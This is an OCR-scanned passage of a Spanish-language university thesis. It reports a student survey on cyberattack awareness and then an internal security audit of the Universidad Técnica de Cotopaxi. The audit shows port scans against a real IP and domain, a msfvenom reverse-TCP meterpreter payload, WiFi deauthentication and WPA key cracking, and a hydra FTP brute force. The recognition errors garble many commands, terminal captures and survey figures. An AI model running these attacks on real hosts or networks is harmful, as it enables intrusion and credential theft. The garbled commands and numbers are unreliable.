INTERPRETACION: Los datos de la tabla 23 nos demuestran de un total 134, Estudiantes
de la Facultad de Ciencias de la Ingenieria y Aplicadas (CIYA), el 74% que corresponde a 99
personas encuestadas consideran que no saben si la UTC ha sido blanco de un ataque
cibernético, y el 26% que corresponde a 39 personas consideran que la UTC si ha sido blanco

de un ataques cibernético.

CONCLUSION: Con los resultados obtenidos podemos determinar que estudiantes de la
institucion determinan que no se ha sufrido ningln tipo de ataque dentro de la institucion. Por
lo que se podria recomendar es que se siga impartiendo conocimiento sobre el tema ya que

todos estamos expuestos a ser victimas de posibles ataques cibernéticos.



7. ¢Conoce usted de algun Atagque Cibemético que ha ocurrido en el Pais?

Tabla 24: Ataque Cibernético en el Pais

ALTERNATIVAS | FRECUENCIA |[PROMEDIO
Si 66 49%
No 68 51%
Total 134 100%

Fuente: Los autores

Grafico N° 24 Ataque Cibernético en el Pais
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Fuente: Los autores
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INTERPRETACION: Los datos de la tabla 24 nos demuestran de un total 134, Estudiantes

de la Facultad de Ciencias de la Ingenieria y Aplicadas (CIYA), el 51% que corresponde a 68

personas encuestadas consideran que no saben sobre ataques sufridos dentro del pais, y el

49% que corresponde a 66 personas encuestadas consideran que el pais si ha sido blanco de

ataques cibernéticos.

CONCLUSION: Con datos obtenidos se puede determinar que el estudiante no tiene

conocimiento sobre ataques sufridos en el pais, por desinformacion, por lo que se reitera la

necesidad de dar méas informacion a los estudiantes sobre posibles ataques cibernéticos dentro

del pais.



8. ¢Utiliza usted Algun software de firewall entu Computador?

Tabla 25: Software de firewall

ALTERNATIVAS | FRECUENCIA | PROMEDIO
Si 38 28%
No 96 2%
Total 134 100%

Fuente: Los autores

Grafico N° 25 Software de firewall
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Fuente: Los autores
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INTERPRETACION: Los datos de la tabla 29 nos demuestran de un total 134, Estudiantes

de la Facultad de Ciencias de la Ingenieria y Aplicadas (CIYA), el 72% que corresponde a 96

personas encuestadas, mencionan que no tienen ningin software de firewall instalado en su

computador, 28% que corresponde a 38 personas encuestas consideran que si tienen un

software de firewall instalado en su computador.

CONCLUSION: De acuerdo a los datos obtenidos se puede determinar que el estudiante no

tiene conocimiento de un software de firewall, por lo que se reitera la necesidad de dar mas

informacion acerca del firewall.
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1. INTRODUCCION

Dentro de una sociedad tan globalizada y con un entorno laboral como eje principal del
desarrollo econdémico de los paises, cada dia que transcurre las empresas a nivel nacional y
mundial poseen miles de servicios tecnoldgicos, los mismos que catapultan e intensifican la

posesion de la marca dentro de cualquier mercado.

A nivel operacional cada compafiia indistintamente al tipo de operacion econémica a la que
esta se dedique los servicios informaticos que se implementan dentro de las empresas es el

pilar fundamental para continuar con el desarrollo de sus operaciones.

Es importante mencionar que las empresas deben de contar con planes de contingencia a nivel
tecnoldgico, que les permitan actuar de manera inmediata ante cualquier tipo de amenaza que
pueda poner en riesgo la informacion que se maneja o la paralizacion de algin servicio en

particular.

Dentro de los distintos planes de contingencia que cada empresa puede manejar, es importante
destacar que no se puede estar totalmente seguro, pero si se puede minimizar de gran forma
los impactos que pudieran producirse con algin tipo de amenaza que atente contra nuestros

servicios informaticos.

También es fundamental destacar que, a nivel departamental en todas las empresas e
instituciones grandes, asi como ocurre en la Universidad Técnica de Cotopaxi, el
departamento de sistemas informaticos esta sujeto a auditorias informaticas, en las cuales se
realiza distintas observaciones a nivel de procesos y procedimientos y en los cuales es

importante ir disminuyendo este tipo de observaciones.

2. ANTECEDENTES

En la Universidad Técnica de Cotopaxi especificamente dentro del departamento de
Tecnologia de la Informacion, en su objetivo de ofrecer siempre la disponibilidad absoluta de
sus servicios informaticos y preocupandose por la informacion que maneja cada uno de los
usuarios surge la necesidad de realizar un Andlisis a su infraestructura tecnolégica para de esa

manera evaluar sus posibles brechas de seguridad que dispone su infraestructura.
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3. OBJETIVO

El objetivo principal de este proyecto de investigacion es dar a conocer sus posibles
vulnerabilidades informaticas, y dar posibles recomendaciones, con la finalidad de estar
preparados y en constante vigilancia de las posibles amenazas que pudieran presentarse a

futuro.

4. ANTECEDENTES

El analisis fue realizado desde una parte interna a la institucion con el objetivo de validar la
seguridad de sus sistemas informaticos, permitiéndonos obtener como resultados una muestra

de las falencias que tiene la institucion en cuanto a Ciberseguridad.

5. ANALISIS A LA INFRAESTRUCTURA TECNOLOGICA DE LA UTC

El analisis fue realizado desde una parte interna a la institucion con el objetivo de validar la
seguridad de sus sistemas informaticos, permitiéndonos obtener como resultados una muestra

de las falencias que tiene la institucion en cuanto a Ciberseguridad.

5.1. SOFTWARE UTILIZADOS

e Kali Linux 64 Bit version 2019.2

e VMware WorkStation version 15.0.4
e Nmap

o OWAspzap 2.8.0

6. INFORME DE PRUEBAS REALIZADAS
6.1. Recoleccion de Informacion, escaneo de red y puertos
En esta primera prueba se hace uso de los aplicativos NMAP y OWAspzap los mismos que

sirven para un analisis de red y escaneo de puertos abiertos, este tipo de programas son muy

Utiles para recopilacion de informacion los mismos que en un hipotético riesgo sirvan para
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determinar si hay algin tipo de host no identificado por nuestro equipo de seguridad dentro de
nuestra de red, esto se debe ya que al hacer un scan de la red, particularmente NMAP muestra
los nombres de los equipos que tuvieron cualquier tipo de conexion dentro de sus servidores,
en este caso de la Universidad Técnica de Cotopaxi hemos seleccionado un puerto como

objetivos en el cual detallamos su vulnerabilidad.

Esquema de topologia de red para analisis de vulnerabilidad

6.2. Funciones de sus elementos:

Router

También conocido como enrutador, es el encargado de interconectar las computadoras para

que funcionen en un marco de una red como muestra en la topologia del anlisis.

Switch o Conmutador

Es un dispositivo de interconexion que se utiliza para conectar los dispositivos dentro de una

red formando lo que se conoce como una red de area local.
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Ip

Numero que identifica de manera logica y jerarquica una interfaz en red (Elemento de

comunicacion / conexion)

Servidor

Es una aplicacion en ejecucion capaz de entender las peticiones de un cliente y devolverle una

respuesta en concordancia

6.3. Comandos utilizados nmap

Sintaxis: nmap [tipo_de_escaneo] [opciones] {red | puerto_obejtivo_ FTP}
nmap —sS 181.112.224.98

nmap —sN 181.112.224.98

nmap www.utc.edu.ec—vv nmap —sS 192.168.5.0/24
nmap —sT —O www.utc.edu.ec nmap —SA 181.112.224.98
nmap -sT 181.112.224.98

nmap —sU 181.112.224.98

nmap -sF 181.112.224.98

nmap -—sX 181.112.224.98

nmap -sV 181.112.224.98

nmap —T 181.112.224.98

nmap —v 181.112.224.98

nmap —p 1-65535-T4 —A —v www.utc.edu.ec
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linuxkali@LINUX: ~

Archivo Editar Ver Buscar Terminal Ayuda

:~$ netdiscoverclener

bash: netdiscoverclener: no se encontrdé la orden
:~$ claner

bash: claner: no se encontrdé la ord

-07

.cnt

up

Not shown:
-~ \ i
open
open
open
open
open
open
open
open
) open
y open

11 ress (1 host up) scanned in 39.067

19:58 CEST
-grms.ec (181

seconds

.112.224.8)

nmap — 181.112.224.98 Los parametros que indican en el gréafico de la capturada del escaneo

se puede visualizar los puertos abiertos.

6.4. ANALISIS DE PUERTOS ABIERTOS Y SUS VULNERABILIDADES

A continuacién, detallaremos sus referencias de wulnerabilidades que posee cada uno de sus

puertos abiertos con sus respectivos riesgos asociados. La idea de este analisis es hacer

conciencia para determinar de forma rapida y facil los diferentes ataques que puedes sufrir en

caso que tengas algunos de estos puertos abiertos.

7. Puertos abiertos y sus posibles ataques

7.1. Puerto 21 ftp
e Buffer Overflow

e Denegacion de servicio (DoS)
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7.2. Puerto 25 smtp
e Denegacion de Servicio (DoS)

e Recogida de Informacion

7.3. Puerto 80 http
e Denegacion de servicio (DoS)
e Recogida de Informacion
e Posibilidades de sniffer
e Ataque CGI

7.4. Puerto 110 pop3
e Buffer Overflow
e Denegacion de Servicio (DoS)

e Ataque de Fuerza Bruta

De acuerdo a lo detallado se recomienda bloquear todos aquellos puertos que no son
utilizados, e incluso cuando esté convencido de que dichos puertos estan siendo blogueados,

aun deberia supervisarlos de cerca para detectar intentos de algun intruso.

8. CREACION DE EXPLOIT

Para esta oportunidad se ha hecho uso de la herramienta Metasploit, el mismo que es un
framework que sirve para proveer informacion acerca de las wvulnerabilidades que pudiera
tener algun dispositivo. Este software es una gran herramienta que sirve para el desarrollo y
posterior ejecucion de Exploits que pueden ejecutarse en un equipo remoto, mediante la
creacion de pequefias secuencias de cddigos o comandos, mismo que pueden tomar la forma
de un ejecutable para cualquier sistema operativo, ya sea Windows, Mac OS, e incluso el
conocido sistema operativo de dispositivos mdviles Android, todo esto es posible mediante
esta herramienta, cabe destacar que todos estos tipos de ataque pueden realizarse dentro de la

LAN corporativa e incluso desde fuera de ella.
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Iniciar servicios de base de datos postgresql

root@SrvKali: ~

Archivo Editar Ver Buscar Terminal Ayuda
# service postgresgl status
® postgresql.service - PostgreSQL RDBMS
Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor pres
Active: inactive (dead)

85 08:30:15 SrvKall systemd[1]: Starting PostgreSQL RDBMS...
85 08:30:15 SrvKali systemd[1]: Started PostgreSQL RDBMS.
85 08:34:03 SrvKali systemd[1]: Stopped PostgreSQL RDBMS.
85 08:34:17 SrvKali systemd[1]: Starting PostgreSQL RDBMS...
05 :34:17 SrvKali systemd[1]: Started PostgreSQL RDBMS.
05 08:36:45 SrvKali systemd[1]: Stopped PostgreSQL RDBMS

# service postgresql start
:~# service postgresqgl status
® postgresqgl.service - PostgreSQL RDBMS
Loaded: loaded (/lib/systemd/system/postgresqgl.service; disabled; vendor pres
Active: active (exited) since Thu 2019-07-05 08:37:45 -05; 2s ago
Process: 2474 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
Main PID: 2474 (code=exited, status=0/SUCCESS)

jul 85 08:37:45 SrvKalli systemd[1]: Starting PostgreSQL RDBMS...

jul 85 08:37:45 SrvKali systemd[1]: Started PostgreSQL RDBMS.
lines 1-8/8 (END)

root@SrvKali: ~

Archivo Editar Ver Buscar Terminal Ayuda

msf > banner

MMMMM MMMMM
MMMMMMMN NMMMMMMM
MMMMMMMMMNmmmNMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMM
MMMMM  MMMMMMM  MMMMM
MMMMM  MMMMMMM ~ MMMMM
MMMNM  MMMMMMM  MMMMM
WMMMM ~ MMMMMMM ~~ MMMM#
TMMNM MMMMM
TMMM MMMM
7MM MM?

https://metasploit.com

' ]
1776 exploits 1012 auxiliary 308 post |
538 payloads - 41 encoders - 10 nops ]

| Free Metasploit Pro trial: http://r-7.co/trymsp |
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Archivo Editar Ver Buscar Terminal Ayuda
:~# 1fconf1g

ethd: flags=4163<UP, BROADCAST,RUNNING, AST> mtu 1500

inet 193

1net6 fe

root@Srviall; »

SO Archwvo Editar Ver Buscar Terminal Ayuda
RX p

RX erroip,
X pack
X er

~# msfconsole
arting the Metasploit Framework console,

lo: flags=73<UP

Mostrar payloads disponibles en la herramienta

root@SrvKali: ~
Editar Ver Buscar Terminal Ayuda

Rank Description
ppc/shell bind tcp normal AIX Command Shell, Bind TCP Inline
ppc/shell find port normal AIX Command Shell, Find Port Inline
ppc/shell _interact normal AIX execve Shell for inetd
/ 5 normal AIX Command Shell, Reverse TCP Inline
android/meterpreter/r rse http normal Android Meterpreter, Android Reverse HTTP Stager
android/meterpreter/reverse https normal Android Meterpreter, Android Reverse HTTPS Stager
android/meterpreter/reverse_tcp normal Android Meterpreter, Android Reverse TCP Stager
android/meterpreter reverse http normal Android Meterpreter Shell, Re e HTTP Inline
android/meterpreter reverse https normal Android Meterpreter Shell, Reverse HTTPS Inline
android/meterpreter_reverse_tcp normal Android Meterpreter Shell, Reverse TCP Inline
android/shell/reverse http normal Command Shell, Android Reverse HTTP Stager
android/shell/reverse https normal Command Shell, Android Reverse HTTPS Stager
android/shell/reverse tcp normal Command Shell, Android Reverse TCP Stager
apple ios rchéd/meterpreter reverse http normal Apple i0S Meterpreter, Reverse HTTP Inline
apple ios/aarché4/meterpreter reverse https normal Apple i0S Meterpreter, Reverse HTTPS Inline
apple ios/aarch64/meterpreter reverse tcp normal Apple i0S Meterpreter, Reverse TCP Inline
apple_ios/aarch64/shell_reverse tcp normal Apple i0S aarch64 Command Shell, Reverse TCP Inline
bsd/sparc/shell bind tcp normal BSD Command Shell, Bind TCP Inline
bsd/sparc/shell reverse tcp normal BSD Command Shell, Reverse TCP Inline
bsd/x64/exec normal BSD x64 Execute Command
bsd/x hell bind ipvé tcp normal BSD x64 Command Shell, Bind TCP Inline (IPv6)
bsd/x64/shell bind tcp normal BSD x64 Shell Bind TCP
bsd/x64/shell bind tcp small normal BSD x64 Command Shell, Bind TCP Inline
bsd/x64/shell_reverse ipv6_tcp normal BSD x64 Command Shell, Reverse TCP Inline (IPv6)
bsd/ /shell reverse tcp normal BSD x64 Shell Reverse TCP
bsd/x64/shell reverse tcp small normal BSD x64 Command Shell, Reverse TCP Inline
bsd/x86/exec normal BSD Execute Command
/metsvc bind tcp normal FreeBSD Meterpreter Service, Bind TCP
/metsvc reverse tcp normal FreeBSD Meterpreter yjerse TCP Inline
x86/shell/ normal BSD Command Shell, Stager (IPv6)
bsd/x86/shell/b normal BSD Command Shell, Bind Stager
bsd/x86/shell/find taa normal BSD Command Shell. Find Taa Staaer




Creacion del Payload

Aplicaciones

root@SrvKali: =

Archivo  Editar Ver Buscar Terminal Ayuda

:~# ifconfig
4163<UP, BROAD ANING,MULTICAST> mtu 1500
S 255.255.0 broadcast 1 8.75
inetb feB0::20¢:29ff;fe Scd prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:76:05:cd uevelen 1608 (Ethernet
( packets 280831 b $ 300856426 (286.9 MiB)
K errors @ droppe

TX e 5 0 carrier 0 collisions @

lo: flags=73<UP,LOOPBAC NNING> mtu 65536
inet 127.0.0.1
ineté ::1 prefixlen
loop txqueuelen 1000 (Local Loopback)
RX 277 bytes 97559 (95.2 KiB)
RX dropped 8 overruns @ frame @
™ pa [ 97559 K1B)
TX errors © dropped 0 overruns © carrier @ collisions @

# clear

# msfvenom -p window terpreter/reverse tep -f 8 LPORT=4444 > payload.exe
[-] No platform was selected, Msf::Module::Platform:

1

Configuracion del puerto

root@SrvKali: ~ e ® 0

Archivo Editar Ver Buscar Terminal Ayuda
msf exploit( )i
mst exploit( ) >
msf exploit( )
mst exploit( ) > set payload windows/meterpreter/reverse
payload => windows/meterpreter/reverse_tcp

msf exploit( ) > show options

>

Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen addre (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:
Id Name

© wildcard Target

msf exploit(
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9. Vulnerabilidades en redes Wifi

Para las wulnerabilidades Wireless hay distintos aplicativos dentro del sistema operativo Kali
Linux, entre ellos son las distintas herramientas de la suite de aircrack, las cuales nos pueden
ayudar a determinar el trafico que se maneja dentro de la red, si bien es cierto este tipo de
herramientas no atacan directamente al protocolo de autenticacién que usa una red Wireless
sino mas bien se basan en diccionarios de datos que atacan directamente a la clave que se usa
para poder autenticarse dentro de la red, esto se consigue mediante algoritmos basados en
diccionarios de datos que tratan de descifrar todas las posibles combinaciones de las palabras

agregadas en el diccionario de datos.

9.1. Comandos utilizados

iwconfig

Matar procesos

airmon-ng check Kill airmon-ng check Kkill

Iniciar tarjeta en modo monitor airodump-ng wlanOmon airmon-ng start wlanO Escanear redes
airodump-ng wilanOmon

airodump-ng —c 1 —w capture —bssid e0:aa:96:62:a3:c8 wlanOmon

Enviar a des autenticar a un host conectado en la red

aireplay-ng --deauth 10-a e0:aa:96:62:a3:c8—c ac:cf5c:38:22:c5 wlanOmon

Des encriptar la clave de la red Wireless con el archivo .cap

Crunch 1010-t%%%%%%%%%1234567890|aircrack- ng—w-—capture-01.cap —0 wifi-ti

Escaneo de redes Wireless disponibles

root@SrvKali: ~ @ 00

Archivo Editar Ver Buscar Terminal Ayuda
:~# airodump-ng wlane




Redes Wireless encontradas

Archivo
CH 8
CH 9

BSSID

C8:3A:
ED:AA:
F8:75:
F4:F2:

9C:
44:
90:
60:
EC:
7C:
C8:

BSSID

root@SrvKali: ~

Editar Ver Buscar Terminal Ayuda
][ Elapsed: 5 mins ][ 2018-07-31 21:44
][ Elapsed: 20 mins ][ 2018-07-31 22:00 ][ WPA handshake: E0:AA:96:

PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH

-1 0 396
-30 316
-34 140
-62 648
-86 53
-86 98
-88 1800

-1 13
-86 254
-88 1
-88 4 0

11 -1 WPA

1 54e. WPA2 CCMP PSK
8 54e WPA2 CCMP PSK
8 54e. WPA2 CCMP PSK
11 54e. WPA2 CCMP PSK
3 54e WPA2 CCMP PSK
11 54e WPA2 CCMP PSK
[y N | WPA

3 54e. WPA2 CCMP PSK
1 54e. WPA2 CCMP PSK
3 54e WPA2 CCMP PSK

oo oo OO OCOOO©

STATION Rate Lost Frames Probe

associated) 98:2F:3C:A6:1D:B1 -68 0 -1 39 152

(not associated) 7C:1C:68:08:3F:F4 -84 0 -1 FAMIL
C8:3A:35:07:56:F0 BO:47:BF:59:36:23 -82 - Perez
EO:AA:96:62:A3:C8 AC:CF:5C:38:22:C5 -30 Ragna

Seleccién del SSID a vulnerar

Aplicaciones v Lugares v Terminal v mar 22:02 @

root@SrvKali: ~

Archivo Editar Ver Buscar Terminal Ayuda

:~# airodump-ng -c 1 -w esta --bssid E0:AA:96:62:A3:C8 wlan®

62:A3
ESSID

Perez
GELNE
RAGNA
RAGNA
WFAC

NETLI
FLIA.
<leng
<leng
DE LA
NETLI

IA-GOY
Net
rok-AP
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SSID con los hosts conectados a dicho punto de acceso

root@SrvKali: ~

Archivo Editar Ver Buscar Terminal Ayuda

CH 1 ][ Elapsed: 20 mins ][ 2018-07-31 22:03 ][ fixed channel wlan@: 13

BSSID PWR RXQ Beacons #Data, #/s CH MB

EO:AA:96:62:A3:C(8 -29 33 4216 313 0@ 1 54e. WPA2 CCMP  PSK

BSSID STATION PWR Rate Lost Frames Probe

EQ:AA:96:62:A3:C8 AC:CF:5C:38:22:C5 -32 le- oe 0 2935

Enviar peticiones de des autenticacion al host seleccionado

root@SrvKali: ~

Archivo Editar Ver Buscar Terminal Ayuda

21:51:41 Sending 64 directed DeAuth.
21:51:42 Sending 64 directed DeAuth.
21:51:43 Sending 64 directed DeAuth. STMAC: [AC:
21:51:44 Sending 64 directed DeAuth. STMAC: [AC:

:~# aireplay-ng --deauth 10 -a EO:AA:

STMAC: [AC:
STMAC: [AC:

:22:C5] [ 0]12
:22:C5] [ 0] 3
:22:C5] [ 4] 1
:22:C5] [ 4] 9

5 wlan0
21:52:44
21:52:45
21:52:46
21:52:47
21:52:48
21:52:49
21:52:49
21:52:50
21252551
21%252:52
21252253

Waiting for beacon frame (BSSID: E0:AA:
Sending 64 directed DeAuth. STMAC: [AC:CF:5C:38:22:(C5]
Sending 64 directed DeAuth. STMAC: [AC:CF:5C:38:22:(C5]
Sending 64 directed DeAuth. STMAC: [AC:CF:5C:38:22:(C5]
Sending 64 directed DeAuth. STMAC: [AC:CF:5C:38:22:(C5]
Sending 64 directed DeAuth. STMAC: [AC:CF:5C:38:22:(C5]
Sending 64 directed DeAuth. STMAC: [AC:CF:5C:38:22:(C5]
Sending 64 directed DeAuth. STMAC: [AC:CF:5C:38:22:(C5]
Sending 64 directed DeAuth. STMAC: [AC:CF:5C:38:22:(C5]
Sending 64 directed DeAuth. STMAC: [AC:CF:5C:38:22:(C5]
Sending 64 directed DeAuth. STMAC: [AC:CF:5C:38:22:(C5]

~#

L~

[ 1]47
[13]11
[ 5] 6

00

ENC CIPHER AUTH ESSID

Ragnarok

ACKs]
ACKs]
ACKs]
ACKs]

Gl GRALE CREo L 38221 C

:C8) on channel 1

ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]

64
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Captura de la clave, una vez desconectado el dispositivo se vuelve a autenticar a la red y

se crea el handshake

root@SrvKall: - (- O

Archivo Editar Ver Buscar Terminal Ayuda

CH 8 )| Elapsed: iins 201907-31 21:44
CH 9 ]| Elapsed: 2 1ns [ 2019,07-31 22:00 ][ WPA handshake: EO:AA:96:62:A3

BSSID PWR Beacons #Data, #/5s CH MB ENC CIPHER AUTH ESSID

C8:3A: g :56: - 396
EO: :96; :A3:C8  -36 316
F8:75:88:E9:18: . 140
Fa :6D0:99; 3 - 648
9C:D6:43:D01:72:56 257 53
44:82:E5:63: $ . 24 98
90:67:1C:73:4D:C . 1800
60:E7:01:63:40:E 13
EC:08:6B:C6:

7C:39:53:87:

C8:1F:BE:F5

o

Q UL, WPA Perez
| . WPA2 CCMP : Ragna
8 WPA2 CCMP (  RAGNA
8 . WPA2 CCMP 5K RAGNA

11 . WPA2 CCHP PSK WFAC
3 WPA2 CCMP PSK NETLI

11 WPA2 CCMP PSK FLIA.

WPA <leng
WPA2 CCMP <leng
WPA2 CCMP DE LA
WPA2 CCMP NETLI

o000

o

Se ha encontrado la clave con la cual se autentica en el punto de acceso, todo esto

mediante el

icaciones v
root@SrvKali: ~

Archivo Editar Ver Buscar Terminal Ayuda
Choosing first network as target.

Opening /root/esta-01.cap
Reading packets, please wait...

Aircrack-ng 1.2 rc4
[60:00:00] 4/7120712 keys tested (189.39 k/s)
Time left: 10 hours, 27 minutes, 55 seconds
KEY FOUND! [ 123456789

Master Key : E9 72 97
A2 A7 72

Transient Key : 13 D7 AF
DD DO 2A
45 74 68
FO 82 8F

EAPOL HMAC : 34 92 87
P~ .
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10. Fuerza Bruta

Los ataques de fuerza bruta, no es mas que atacar a un servicio por medio de un puerto, lo que
permitird saber la contrasefia con la que se autentica dicho administrador del servicio, todo
esto realizado mediante los ya conocidos diccionarios de datos, que consisten en probar las

combinaciones posibles para poder acceder al control total de un servicio de red.

En esta prueba se ha realizado ataques de fuerza bruta a un servicio ftp, el cual mediante la
creacion de un diccionario de datos se trata de descifrar la clave con la que se autentica al

servidor.

10.1. Comandos utilizados Creacién de diccionarios

crunch 55 userl —o /root/Escritorio/diccionarol. txt

crunch 6 6 123456789 —o /root/Escritorio/diccionario2.txt

Descifrando contrasefia del servicio FTP

hydra—L/root/Escritorio/diccionariol.txt —P

/root/Escritorio/diccionario2.txt 192.168.100.86 ftp

Los diccionarios de datos se pueden crear a nuestra conveniencia o usar los que vienen dentro

de Kali.

Creacion de un diccionario exclusivo para los usuarios.

root@SrvKali: ~ Qo0
Archivo Editar Ver Buscar Terminal Ayuda

:~# crunch 6 6 123456789 -o /root/Escritorio/claves.txt
Crunch will now generate the following amount of data: 3720087 bytes
3 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 531441

crunch: 100% completed generating output
i
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Creacién de un diccionario de claves

root@SrvKali; ~

Archivo Editar Ver Buscar Terminal Ayuda

:~# crunch 5 5 userl -o /root/Escritorio/user.txt
Crunch will now generate the following amount of data: 18750 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 3125

crunch: 100% completed generating output
L~#

11. VULNERABILIDADES WEB

Para el escaner de wulnerabilidades web, se ha hecho uso de 3 aplicativos los cuales, son de
ayuda para mostrar desde direcciones ip o0 puertos disponibles, hasta wvulnerabilidades que se

presentan por protocolos de navegacion, exploradores e incluso técnicas de desarrolio.

11.1. Comandos utilizados

NMAP: http/Aww. utc.edu.ec

nmap —sV 181.112.224.98

A28V

Instalar A2SV

cd Documemtos/

Documentos# git clone https//github.com/hahwul/a2sv.git Documentos# cd a2sv/
Documentos/a2sv# chmod +x installsh Documentos/a2sv# ./install.sh Documentos/a2sv#

python a2sv.py Escanear con A2SVDocumentos/a2sv# python a2sv.py —t www.utc.edu.ec



Informacién valiosa acerca del objetivo con NMAP

root@Srvali

Archivo Edfar Ver Buscar Terminal Ayuda

181..112:.224 .98
https://nmap.org )
://utc.edu.ec)

Starting Nmap 7 8-08-13 10:05 -05

181..112:.224 .98

report for ( http

300995 latency)

f tered ports

VERSION

open pensSsSH 5.3

open L Apache httpd

open Apache httpd

/tcp closec
open
8080/
8443/

closed http-proxy

osed https-alt

Service detection per e -~ ) any
,org/submit/
Nmap done: 1 IP address

s

incorre

19.96 seconds

OWAspzap escanerweb clase por clase a nivel de desarrollo

“ Sesion sin Nombre - 20190716-121655 - OWASP ZAP 2.8.0 - X
Archivo Editar Ver Analizar Reporte Herramienias Import Enlinea Ayuda
(Modoestandar jw) (1 Sl ie 2 & O @ @@0 O0DDE &8y @ % e B
@ sitios | 4 [ % Inicio Rapido I = Peticiin T Respuestas= | 4=
emad
L wunERs
n & Automated S
(2] Cortexto predeteminado \ utomated ocan
v @ sitios
v P http: . Utc.edu.ec This screen allows you to launch an automated scan against an application - just enter its URL below and press ‘Attack.
r Eme Please be aware that you should only attack applications that you have been specifically been given permission to fest
» [ P 8 Activity-Feed
» LR # Admin
L ¥ GET:Admin URL to attack: hitp:fwww.uic edu.ec B @ Seleccionar... |
# GET:ad
- admin Use traditional spider. @
| I GET:administracion_de_empresas .
|| P & GET agroeindustrial Use ajax spider. @ with | Chrome v
| | P % GETagronomia LI Detener |
)
i GET.agrenomica '. Progreso: Explorando (spidering) 1a URL para descubrir el contenido del sitio
<< J e Explorando (spidering) la URL para descubrir el contenido del sitio
[ & Historia | S Buscar | [F0 Alertas | | | Saiida | % Spider(araiia) | <
% Nuevo escaneo © Progreso: | 0: hitp:www.utc.edu.ec |v| (1 [1 s 24% Escaneo actual: 1 - Las URL que fueron enconfradas: 1159 - Nodos ingresados: 198+ ¢ Exportar 90
_[ URLs wulnerables I Nodos ingresados I Mensajes }
Procesado | Método | URI | Banderas 5]
] GET hitp:ifwww.utc edu eciPortals/0OUACADEMICASICCAAHHIMorarios 15-16HORARI i
[~} GET hittp:iwww. utc edu.ecPortals/OUACADEMICASICCAAHH/AULAS % 20CICLO%20.
(=] GET httpffwww.utc.edu ec/Portals/OUACADEMICASICCAAHH/distributivos/DISTRIBU.
1) GET hittp:iH181.112.224.116/contabilidad Fuera de alcance
y GET http:fwww.utc edu ec/Portals/Oicarlos%202016/carlos%202017ogos %20carrer.
(=] GET http:ifwww.utc edu eciportalsi0images/CCAAHHICONTA1 jpg
u POST httpifwww.utc.edu.ecicontabilidad
=] POST http:ifwww.utc edu ec/eebb v

Mlertas R0 2 (U4 RO

Escaneoactual 40 £0 @70 20 @0 %1 0 #o
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Informacion sobre aleras encontradas
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Escaner SSL con A2SV

root@SrvKali: ~/Escritorio/a2sv

Archivo Editar Ver Buscar Terminal Ayuda

Please Input Target Argument / -h --help
:~/Escritorio/a2sv# I
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root@SrvKali: ~/Escritorio/a2sv e ® 0

Archivo Editar Ver Buscar Terminal Ayuda

[LOG] Ending Get Information
[LOG] 'Cipher is DEH' not in Response

[INF] Sca Lv2 DROWN
- [LOG] Not connected SSLv2

101

[A2SV REPORT]

Vulnerability CVSS v2

Anonymous Cipher - - - - - - : :N Not Vulnerable.
RIME (SPDY) - - AV : - . . A :N Vulnerable!

eartBleed - - : - - : - :N Not Vulnerable.
CS Injection - - C - : - - :P Not Vulnerable.
SLv3 POODLE - - : - : : :N/A:N Not Vulnerable.
DpenSSL FREAK - - ‘ - :M/Au: : : :N Not Vulnerable.
DpenSSL LOGJAM - 5- - :M/Au: - - :N Not Vulnerable.
SLv2 DROWN - - = :M/Au: - - :N Not Vulnerable.

Resultado del escaner con A2SV

Dentro de los resultados encontrados con las herramientas utilizadas para estas pruebas es
importante destacar que con NMAP hemos podido observar los puertos abiertos con los que
cuenta el servidor dénde esta alojado dicho aplicativo web, en temas de OWASP nos permite
ver las clase del desarrollo de la pagina web, por lo tanto hemos observado algunas alertas de
tipo medianas en cuanto al desarrollo y la generacién de cookies que en algin momento
podrian representar algin tipo de riegos, por otra parte el aplicativo A2SV nos muestra
vulnerabilidades de tipo de protocolos de comunicacién, en la que nos indica que la web de la
UTC es wulnerable al protocolo CRIME (SPDY) en las que representa un riesgo al momento
de que los cookies recuperan contenidos sobre la informacion mostrada, por lo tanto en algin
momento puede guardar sesiones que pueden ser punto vital para desencadenar otro tipo de

ataques.

12 RECOMENDACIONES

e Tomar en consideracion los puertos abiertos o que escuchan algun tipo de servicio, es
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importante habilitar solo los puertos necesarios, tales como los puertos 80 que se
utiliza para permitir la navegacion por internet mediante el protocolo HTTP vy el
puerto 25 que queden ser asignado al protocolo de correo SMTP, puerto 21 que se lo
utiliza para las conexiones FTP, estos puestos pueden ser filtrarlos con algin tipo de

herramienta, como un firewall.

o Es importante que la consola de administracion de antivirus mantenga la firma de base
de datos actualizada con un BitDefender que permita bloquear los keylogging y otros

malware.

e En cuanto a las redes Wireless, su autenticacion y trafico generado, se recomienda que
al menos al SSID exclusivo del departamento de T.I. sea blindado con algin otro tipo

de seguridad como puede ser un fitrado mac.

e Para el caso de las vulnerabilidades web, es importante hacer un recorrido mas extenso
sobre las alarmas encontradas, si bien es cierto no son criticas, pero es importante

tomar en cuenta las recomendaciones dadas por las herramientas utilizadas.

12. IMPACTOS

12.1. IMPACTO TECNICO

Durante el andlisis a la infraestructura Tecnoldgica de la Universidad Técnica de Cotopaxi se
puedo visualizar su nivel de wulnerabilidad que posee su sistema informatico, de modo que en
los tiempos actuales las nuevas herramientas tecnologias permiten realizar un analisis mas
detallado permitiéndonos verificar sus posibles brechas de seguridad y de esa manera dar

futuras recomendaciones para evitar ser atacados por los hackers.

12.2. IMPACTO SOCIAL

La tecnologia no es un término nuevo, sin embargo, gracias a los nuevos procesos
tecnoldgicos  que se vienen evolucionando se ha potenciado, en que muchas empresas
desearian obtener una herramienta que valore el nivel de wvulnerabilidad y la seguridad de sus

sistemas informaticos, permitiéndoles obtener un informe mas detallado sobre el nivel de
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riesgos que posee sus sistemas de informacién de las entidades laborales, se acogen a
